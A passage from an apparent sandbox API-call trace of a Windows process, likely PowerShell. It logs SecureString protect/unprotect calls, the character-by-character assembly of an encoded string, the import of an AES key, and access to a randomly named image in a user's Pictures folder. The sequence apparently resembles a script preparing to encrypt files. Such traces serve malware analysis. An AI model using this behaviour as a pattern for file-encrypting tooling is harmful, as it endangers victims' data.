(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.617] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.617] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.617] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0135.617] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.617] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.617] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.617] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.617] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0135.617] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.617] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.617] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.617] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.618] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0135.618] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.618] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.618] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.618] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.618] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0135.618] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.618] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0135.618] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.618] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.618] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.618] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.618] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0135.618] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.618] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.618] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.618] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.618] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0135.618] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.618] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.618] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.618] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.619] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0135.619] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.619] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.619] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.619] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.619] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0135.619] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.619] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.619] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.619] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.619] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0135.619] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.619] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.619] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.619] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.619] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0135.619] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.619] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.619] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.619] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.619] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0135.619] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.620] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.620] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.620] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0135.620] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0135.620] SystemFunction041 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.620] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0135.620] SystemFunction040 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.620] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.620] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0135.620] SystemFunction041 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.620] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0135.620] SystemFunction040 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.620] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.620] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0135.620] SystemFunction041 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.620] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0135.620] SystemFunction040 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.620] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.620] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0135.620] SystemFunction041 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.620] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0135.621] SystemFunction040 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.621] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.621] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0135.621] SystemFunction041 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.621] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0135.621] SystemFunction040 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.622] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.622] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.622] SystemFunction041 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.622] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0135.622] SystemFunction040 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.622] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.622] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.622] SystemFunction041 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.622] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0135.622] SystemFunction040 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.622] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.622] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.622] SystemFunction041 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.622] SystemFunction040 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.622] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0135.622] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0135.622] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0135.623] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0135.623] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0135.623] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0135.623] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0135.623] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0135.623] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.623] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0135.623] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0135.624] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e021c8) returned 1 [0135.624] CryptImportKey (in: hProv=0x8e021c8, pbData=0x6a00dd0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e849b8) returned 1 [0135.624] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.625] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.625] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.625] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.625] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.626] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\bxc_1_muh tfunhvbj5.png")) returned 0x20 [0135.626] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\r8g2lrg5hps1\\bxc_1_muh tfunhvbj5.png")) returned 0x20 [0135.626] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", lpFilePart=0x0) returned 0x6e [0135.626] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\r8G2lRG5hpS1\\bXc_1_mUh tfUnHVBj5.png", lpFilePart=0x0) returned 0x6e [0135.626] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf1, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, 